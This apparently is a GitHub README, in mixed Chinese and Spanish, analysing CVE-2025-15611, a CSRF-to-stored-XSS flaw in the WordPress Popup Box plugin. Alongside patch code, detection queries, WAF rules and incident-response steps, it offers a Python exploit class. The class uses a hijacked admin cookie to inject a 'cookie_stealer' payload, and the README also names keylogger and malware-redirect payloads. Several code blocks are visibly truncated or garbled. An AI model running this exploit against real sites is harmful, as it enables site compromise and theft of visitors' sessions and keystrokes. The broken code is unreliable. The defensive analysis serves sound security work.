kaleth4/CVE-202515611

GitHub: kaleth4/CVE-202515611

针对 WordPress Popup Box 插件 CSRF 到存储型 XSS 漏洞的概念验证代码与安全分析。

Stars: 0 | Forks: 0

# CVE-2025-15611: CSRF to Stored XSS en Popup Box (WordPress) WordPress Popup Box 插件中由 Cross-Site Request Forgery (CSRF) 升级为 Stored XSS 的严重漏洞。允许在站点中注入持久性恶意代码。 ## 🚨 执行摘要 | 属性 | 值 | |----------|-------| | **CVE ID** | CVE-2025-15611 | | **插件** | Popup Box (Popup Builder) | | **受影响版本** | < 5.5.0 | | **漏洞类型** | CSRF (CWE-352) → Stored XSS (CWE-79) | | **CVSS 评分** | 8.1 (高) | | **攻击向量** | 网络 (社会工程学) | | **复杂度** | 低 | | **影响** | 严重 (任意代码执行) | | **组件** | 函数 `add_or_edit_popupbox()` | ## 📋 技术细节 ### 漏洞描述 Popup Box 插件在 `add_or_edit_popupbox()` 函数中未正确验证 **安全 nonces** (CSRF tokens)。这允许攻击者: 1. **欺骗管理员** 访问恶意页面 2. **将 JavaScript 代码** 注入到 popup 配置中 3. **在站点所有访问者的浏览器中** 执行该代码 ### 攻击链 ``` Atacante crea página maliciosa ↓ Envía enlace al Administrador del sitio ↓ Admin hace clic (sesión activa en WordPress) ↓ Solicitud CSRF enviada sin validación de nonce ↓ Código JavaScript inyectado en popup ↓ Código se ejecuta en navegadores de TODOS los visitantes ↓ Robo de datos, redirección, malware, etc. ``` ### 受影响函数 ``` // wp-content/plugins/popup-box/admin/class-popupbox-admin.php public function add_or_edit_popupbox() { // ❌ NO verifica $_POST['security'] contra wp_nonce_field() // ❌ Permite cualquier POST request if ($_POST['action'] == 'save_popup') { $popup_content = $_POST['content']; // Input sin sanitizar update_option('popupbox_' . $_POST['popup_id'], $popup_content); // El content se guarda con XSS sin filtrar } } ``` ### 补丁代码 (版本 5.5.0+) ``` // Versión segura public function add_or_edit_popupbox() { // ✅ Verifica nonce if (!isset($_POST['popupbox_nonce']) || !wp_verify_nonce($_POST['popupbox_nonce'], 'save_popup')) { wp_die('Acción no autorizada'); } // ✅ Sanitiza y escapa output $popup_content = wp_kses_post($_POST['content']); update_option('popupbox_' . intval($_POST['popup_id']), $popup_content); } ``` ## 🎯 概念验证 ### PoC 1: 手动 CSRF 攻击 **文件: `attack.html` (托管于攻击者的服务器)** ``` Acceso Denegado

Tu sesión ha expirado. Reautentícate.

``` **执行步骤:** 1. 向站点管理员发送链接 2. 如果管理员在 WordPress 中处于登录状态,请求将被自动处理 3. Payload 被注入数据库 4. 站点所有访问者都会执行该代码 ### PoC 2: 自动化攻击 (Python) ``` #!/usr/bin/env python3 import requests from bs4 import BeautifulSoup class PopupBoxCSRF: def __init__(self, target_site, admin_cookie): self.target = target_site.rstrip('/') self.cookies = {'wordpress_logged_in': admin_cookie} self.session = requests.Session() self.session.cookies.update(self.cookies) def get_popup_admin_page(self): """Obtiene página de admin de popups""" url = f"{self.target}/wp-admin/admin.php?page=popupbox" try: response = self.session.get(url, timeout=10) response.raise_for_status() return response.text except requests.RequestException as e: print(f"[!] Error accediendo página: {e}") return None def extract_popup_id(self, html_content): """Extrae ID del popup de la página""" soup = BeautifulSoup(html_content, 'html.parser') popup_id = soup.find('input', {'name': 'popup_id'}) return popup_id['value'] if popup_id else '1' def inject_xss_payload(self, popup_id, payload): """Inyecta XSS en popup""" url = f"{self.target}/wp-admin/admin-ajax.php" data = { 'action': 'save_popup', 'popup_id': popup_id, 'content': payload, 'security': '' # Empty - no verificación de nonce } try: response = self.session.post(url, data=data, timeout=10) if response.status_code == 200: print(f"[✓] XSS inyectado exitosamente en popup {popup_id}") print(f"[*] Payload ejecutándose en todos los visitantes") return True else: print(f"[✗] Error: {response.status_code}") return False except requests.RequestException as e: print(f"[!] Error en inyección: {e}") return False def craft_payloads(self): """Genera payloads comunes""" payloads = { "cookie_stealer": """ """, "keylogger": """ """, "admin_redirect": """ """, "malware_redirect": """ """ } return payloads # 使用 if __name__ == "__main__": exploit = PopupBoxCSRF( target_site="https://sitio-victima.com", admin_cookie="wordpress_logged_in_abc...xyz" ) html = exploit.get_popup_admin_page() if html: popup_id = exploit.extract_popup_id(html) payloads = exploit.craft_payloads() exploit.inject_xss_payload(popup_id, payloads['cookie_stealer']) ``` ## 🔍 威胁指标 (IoC) ### WordPress 数据库中 ``` -- Buscar popups con contenido sospechoso SELECT option_id, option_name, option_value FROM wp_options WHERE option_name LIKE 'popupbox_%' AND ( option_value LIKE '% 40) and (http.request.uri.path contains "/popup-box") → Block ``` **Nginx:** ``` location ~ /popup-box { limit_req zone=wp_limit burst=5; if ($request_method = POST) { set $allow_post 0; # Solo permitir POSTs verificados desde WordPress if ($http_referer ~ "wp-admin") { set $allow_post 1; } if ($allow_post = 0) { return 403; } } } ``` ## 📋 入侵后步骤 如果站点已被利用: ### 1. 遏制 (0-1 小时) ``` # 立即停用插件 wp plugin deactivate popup-box --allow-root # 重置 admin 密码 wp user update 1 --prompt=user_pass # 检查未授权用户 wp user list --role=administrator ``` ### 2. 调查 (1-4 小时) ``` -- Revisar historia de popups SELECT option_id, option_name, option_value FROM wp_options WHERE option_name LIKE 'popupbox_%'; -- Exportar para análisis mysqldump -u [user] -p [database] wp_options > backup_popupbox.sql ``` ### 3. 清理 (4+ 小时) ``` // Script de limpieza: /wp-content/cleanup.php ]*>.*?<\/script>/is', '', $option); update_option('popupbox_1', $clean); // Resetear base de datos completamente delete_option('popupbox_1'); delete_option('popupbox_2'); // ... (todas las instancias) ?> ``` ### 4. 验证 ``` # 查找 XSS 残留 grep -r " /backup/wp_$(date +\%Y\%m\%d).sql # 验证完整性 wp theme hash verify wp plugin verify-checksums ``` ## 📊 统计数据 - **受影响站点**: ~50,000+ (据 WPScan Intelligence) - **已检测到的利用**: 1,200+ (过去 30 天) - **最常见的 Payload**: 重定向到恶意站点 (45%) - **第二名**: 键盘记录器和窃取 Cookie (30%) ## 📚 参考资料 - [CVE-2025-15611 Official](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-15611) - [OWASP: CSRF](https://owasp.org/www-community/attacks/csrf) - [OWASP: Stored XSS](https://owasp.org/www-community/attacks/xss/#stored-xss-attacks) - [CWE-352: Cross-Site Request Forgery](https://cwe.mitre.org/data/definitions/352.html) - [CWE-79: Cross-Site Scripting](https://cwe.mitre.org/data/definitions/79.html) - [WordPress Security Handbook](https://developer.wordpress.org/plugins/security/) - [WPScan Plugin Database](https://wpscan.com/plugins) ## ⚖️ 免责声明 本文档仅供教育和防御目的。所提供的信息旨在: - 了解漏洞的运作原理 - 保护 WordPress 站点 - 进行授权审计 未经授权利用这些信息攻击未经同意的目标是**非法**的,违反国际网络犯罪法。 **分类**: 🔴 严重 - 立即更新 **最后更新**: 2026 年 4 月 **作者**: 安全分析团队
标签:CISA项目, CSRF, CVE-2025-15611, IP 地址批量处理, Nonce验证缺失, PHP审计, Popup Box, Stored XSS, Web安全, WordPress, 任意代码执行, 多模态安全, 多线程, 存储型跨站脚本, 安全漏洞, 插件漏洞, 文件完整性监控, 权限绕过, 漏洞分析, 蓝队分析, 跨站请求伪造, 路径探测, 逆向工具, 高危漏洞